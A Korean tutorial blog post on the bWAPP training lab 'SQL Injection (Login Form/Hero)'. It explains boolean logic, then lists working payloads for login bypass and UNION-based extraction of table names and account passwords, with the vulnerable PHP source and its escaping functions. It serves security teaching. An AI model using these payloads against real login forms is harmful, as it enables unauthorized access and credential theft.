웹 해킹 bWAPP - 16. A1 - Injection - SQL Injection(Login Form/Hero)
웹 해킹 bWAPP - 16. A1 - Injection - SQL Injection(Login Form/Hero)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. 참(True) & 거짓(False)
- 논리적인 문제를 해결하기 위해서... 이런 얘기는 생략한다.
- 시스템들은 참을 '1', 거짓을 '0'으로 인식한다.
- 만약, 판단할 값이 2개 이상 있을 경우, 두 값의 관계(AND, OR, XOR, NOT)에 따라서 결과 값이 참, 거짓으로 나온다.
3. 연산자 우선 순위
- 연산자 우선 순위는 연산자가 실행될 순번를 결정한다. 우선 순위가 높은 연산자일수록 먼저 실행하게 되어있다.
- Ex) 1 + 3 * 5 = 16 * 곱셈 연산자는 + 덧셈 연산자보다 우선 순위가 높기 때문에 * 곱셈 연산부터 시작한다.
- 비트/논리 연산자 우선 순위
논리 NOT ! 비트 NOT ~
|
Ex) A or B AND C
- B와 C의 AND 연산을 실시하여 참/거짓을 구분하고, 해당 결과값을 A와 OR 연산을 실시하여 참/거짓을 구분한다.
4. 비트/논리 연산자
- 참 : 숫자로 표기할 경우, 1로 표기한다.
- 거짓 : 숫자로 표기할 경우, 0으로 표기한다.
- 연산자 : NOT(!), AND(&), OR(|), XOR(^)
AND |
OR |
XOR |
1 AND 1 = 1 참 |
1 OR 1 = 1 참 |
1 XOR 1 = 0 거짓
|
Ex) 비트연산자
a = 4(2진수 : 100) b = 6(2진수 : 110)
100 |
Ex) 비트연산자
a = 4(2진수 : 100) b = 6(2진수 : 110)
100 |
Ex) 비트연산자
a = 4(2진수 : 100) b = 6(2진수 : 110)
100 |
Ex) 논리연산자
참 && 참 = 참
|
Ex) 논리연산자
참 || 참 = 참 |
Ex) 논리연산자
참 ^ 참 = 거짓 |
Ex) SQL 인젝션 참 & 거짓
- DB heroes Table에 login 칼럼에 'thor' 계정이 있는 상태
- 소스 : $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
- thor ' or 'a'='a 인젝션 실시
- 결과 : $sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='a' AND password = ''";
login = 'thor ' or 'a'='a' AND password = ''
참(1) 거짓(0) -> 거짓(0)
login = 'thor ' or 거짓
참(1) 거짓(0) -> 참(1) -> thor ('thor'는 login 컬럼에 있는 정보이기때문에 참으로 처리됨)
5. Injection - SQL Injection(Login Form/Hero)
- 이 시나리오는 로그인시 ID/패스워드를 한줄의 쿼리로 입력받을 경우, SQL 인젝션을 통하여 패스워드 힌트 정보를
획득하는 내용이다.
Ex1) Injection - SQL Injection(Login Form/Hero) 이해 I
보안 레벨 선택 및 시나리오 선택
'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시(ID/PW를 한줄의 SQL 구문으로 입력 받음)
' or 1=1# 을 입력하여 로그인 시도 및 패스워드 힌트 정보 확인
SQL 인젝션을 실시하여 컬럼 결과 확인
SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 버전 정보와 DB 정보 확인
SQL 인젝션을 실시하여 테이블 이름 정보 확인(출력이 한줄이라 테이블명 하나밖에 안나옴)
(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP'#)
SQL 인젝션을 실시하여 Blog 다음 테이블 이름 정보 확인
(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog'#)
(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog' and table_name!='heroes' #)
(' union select 1,table_name,3,4 from information_schema.tables where table_schema='bWAPP' and table_name!='blog' and table_name!='heroes' and table_name!='movies'#)
SQL 인젝션을 실시하여 Heroes 테이블의 컬럼 이름 확인
(select column_name from columns where table_name="heroes";)
SQL 인젝션을 실시하여 Heroes 테이블의 'Id 컬럼' 다음 컬럼 이름 확인
SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 1)와 Login(계정 정보 : Neo) 정보 확인
(' union select 1,login,3,password from heroes limit 0,1 #)
SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 2)와 Login(계정 정보 : Alice) 정보 확인
(' union select 1,login,3,password from heroes limit 1,1 #)
SQL 인젝션을 실시하여 2번쨰, 4번째 컬럼에 Id(순서번호 : 3)와 Login(계정 정보 : Thor) 정보 확인
(' union select 1,login,3,password from heroes limit 2,1 #)
Ex2) Injection - SQL Injection(Login Form/Hero) 이해 II
SQL 인젝션을 실시하여 'thor' 계정 접속 실시
bee@bee-box:/var/www/bWAPP$ ls -l sqli_3.php
-rw-rw-r-- 1 root www-data 6566 2014-11-02 23:52 sqli_3.php
bee@bee-box:/var/www/bWAPP$ vi sqli_3.php
~ 중간 생략 ~
$password = $_POST["password"];
$sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; 로그인 입력 패스워드 입력
$recordset = mysql_query($sql, $link); if(!$recordset) die("Error: " . mysql_error()); } else $row = mysql_fetch_array($recordset); if($row["login"]) // Login만 일치해도 힌트 출력 실시 // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>"; }
:q! |
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='a' AND password = ''";
② ①
① 'a'='a' AND password = '' <- 참(1) AND 거짓(0) = 거짓(0)
② login = 'thor ' or 거짓(0) = <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
[참고] 인젝션 실시 및 참/거짓 이해
Ex1) thor ' or 'b'='b
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'b'='b' AND password = ''";
② ①
① 'b'='b' AND password = '' <- 참(1) AND 거짓(0) = 거짓(0)
② login = 'thor ' or 거짓(0) = <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex2) thor ' or 'a'='b
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 'a'='b' AND password = ''";
② ①
① 'a'='b' AND password = '' <- 거짓(0) AND 거짓(0) = 거짓(0)
② login = 'thor ' or 거짓(0) = <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex3) thor ' or '1'='1
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or '1'='1' AND password = ''";
② ①
① '1='1 AND password = '' <- 참(1) AND 거짓(0) = 거짓(0)
② login = 'thor ' or 거짓(0) = <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex4) thor ' or '1'='0
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or '1'='0' AND password = ''";
② ①
① '1'='0' AND password = '' <- 거짓(0) AND 거짓(0) = 거짓(0)
② login = 'thor ' or 거짓(0) = <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex5) thor ' or 1=0#
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=0#' AND password = ''";
② ①
① #' AND password = '' 주석 처리이기 때문에 처리 안됨
② login = 'thor ' or 1=0 <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex6) thor ' or 1=2#
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=2#' AND password = ''";
② ①
① #' AND password = '' 주석 처리이기 때문에 처리 안됨
② login = 'thor ' or 1=2 <- 참(1) or 거짓(0) = 참(1)
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex7) thor ' or 1=1
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=1' AND password = ''";
① 'thor ' or 1=1' 에서 작은 따옴표가 부족하기 때문에 Syntax 오류가 발생함
② thor ' or 1='1 으로 인젝션하면 'thor ' or 1='1' 으로 처리되기 때문에 해결됨
Ex8) thor ' or 1=1#
$sql = "SELECT * FROM heroes WHERE login = 'thor ' or 1=1#' AND password = ''";
② ①
① #' AND password = '' 주석 처리이기 때문에 처리 안됨
② login = 'thor ' or 1=1 <- 참(1) or 참(1) = 참(1) <- login 컬럼 첫번째 정보인 Neo로 로그인됨 )
(thor는 login 컬럼에 있는 정보이기 때문에 참으로 처리가됨)
Ex3) 'sqli_3.php' & 'functions_external.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l sqli_3.php
-rw-rw-r-- 1 root www-data 6566 2014-11-02 23:52 sqli_3.php
bee@bee-box:/var/www/bWAPP$ vi sqli_3.php
~ 중간 생략 ~
include("functions_external.php");
$message = "";
function sqli($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" : $data = sqli_check_1($data);
case "2" :
$data = sqli_check_2($data);
default :
$data = no_check($data); }
return $data; } :q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
function sqli_check_1($data) {
return addslashes($data); // 작은따옴표를 문자열로 이스케이프 실시 }
function sqli_check_2($data) {
return mysql_real_escape_string($data); // SQL 인젝션에서 사용하는 특수문자에 백슬래시를 붙여 입력값을 이스케이프 실시 (NULL, \n, \r, \, ', ", ^Z) }
function sqli_check_3($link, $data) {
return mysqli_real_escape_string($link, $data);
}
function sqli_check_4($data) {
// Not bulletproof
// Replaces a single quote (') $input = str_replace("'", "''", $data);
return $input;
} |
Ex4) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
16-11. SQL 인젝션 추가-11.txt
SQL 인젝션 실패
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 16. bWAPP Injection - SQL Injection(Login Form&Hero) https://youtu.be/GFPAIEqHmNk